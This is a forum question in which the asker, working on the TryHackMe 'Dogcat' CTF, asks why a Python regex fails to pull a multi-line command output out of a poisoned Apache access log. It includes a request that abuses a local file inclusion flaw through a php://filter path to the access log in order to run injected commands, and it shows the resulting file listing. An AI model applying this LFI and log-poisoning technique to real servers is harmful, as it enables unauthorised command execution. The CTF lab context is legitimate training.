title: Python Regular Expression - Find all words between two specific words on different lines
body: <p>for context I am attempting to create a script for the TryHackMe 'Dogcat' LFI CTF, I have gotten so far as to being able to inject commands via the LFI / Log Poisoning vulnerability but now I want to be able to filter out the response.</p>
  
  <p>The current issue I believe is that the regular expression is failing because of the way the files are returned in the HTML and I can't seem to find out how to get it to work, any help is greatly appreciated (example below)</p>
  
  <p>HTML OUTPUT</p>
  
  <pre><code>&lt;ip&gt; - - [10/Jun/2020:07:41:20 +0000] "GET / HTTP/1.1" 200 537 "-" "Mozilla/5.0 access.log
  cat.php
  cats
  dog.php
  dogs
  flag.php
  index.php
  style.css
   Firefox/69.0"
  </code></pre>
  
  <p>PYTHON</p>
  
  <pre><code>response = request.get(url+"/?view=php://filter/dog/resource=/var/log/apache2/access.log&amp;ext"+cmd+command)
      html_content = response.text
  
  
      test = "Mozilla/5.0 access.log cat.php cats dog.php dogs flag.php index.php style.css Firefox/69.0"
      #The Test works but the real content doesn't, likely something to do with the new lines after each file.
  
      output = re.findall("Mozilla/5.0 (.*?) Firefox/69.0", html_content)
  
      try:
          print(output)
      except:
          print("There was an error.")
  </code></pre>